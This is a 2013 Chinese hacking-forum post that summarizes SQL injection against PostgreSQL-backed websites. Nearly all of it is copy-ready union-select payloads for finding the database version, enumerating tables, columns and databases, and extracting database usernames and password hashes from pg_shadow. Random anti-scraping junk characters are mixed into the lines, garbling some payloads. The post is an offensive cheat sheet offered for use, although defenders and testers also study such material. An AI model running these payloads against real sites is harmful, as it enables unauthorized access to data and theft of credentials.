找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2147|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点
- d* T. ~& g6 V% Q

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
6 l- N/ T# `  P7 r- B连接符: %20 , + , /**/

内置函数:* ?0 K; \% O* ^/ H- o
current_database() //当前数据库名
2 C8 F' O* U& @( d; B) m# ?; rsession_user //会话用户
* H! T+ A! z+ X# \4 S/ X  Ocurrent_user //当前数据库用户
$ @; a8 Z* \6 Q' E' G4 j/ luser //当前用户
& q8 Y; V( z/ w& j/ p1 P' e  oversion() //数据库版本

Union注射:
6 Y2 Q& e6 f0 vorder by n–; w3 k8 `, d, {' b4 Q) E/ y
and 1=2 union select null,null,null–
) F" A2 z! w* Z7 eand 1=2 union select ‘beach’,null,null–
; w# T, ~/ s( J. G& Q1 Y; @2 x: pand 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):
, h; r3 I0 E0 s* C) I( u" Ogroup_concat(table_name)
4 a4 q/ p& [! Wand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–: Y) _1 j5 p2 n5 V1 k8 j
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
0 J& n- s7 P+ s3 f# T5 M1 X* V(老版本)! V, {( Y7 n7 b( j  H9 y- t
pg_class.oid对应pg_attribute.attrelid; f* d. m! H  t) c/ W; Y; a5 d
pg_class.relname表名
3 e5 K& j3 O; M9 t$ i; a- k- r3 kpg_attribute.attname字段名

select relname from pg_class获取表名
2 P/ ], j- g$ q/ u) Bselect oid from pg_class where 条件 获取参数
8 X$ d- s1 o% X# B( ~1 U. xselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:
6 @+ g/ n3 }" y6 Vand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
3 S! }+ P) q7 Dand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
2 }; q/ i- ~4 k# f- B, D  U* Q由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名, I8 |. V6 Q7 o( R
======================================================================8 P) t6 ^+ R% _! m- ~
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库! j  Z5 [# j4 ]1 f, V+ g
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表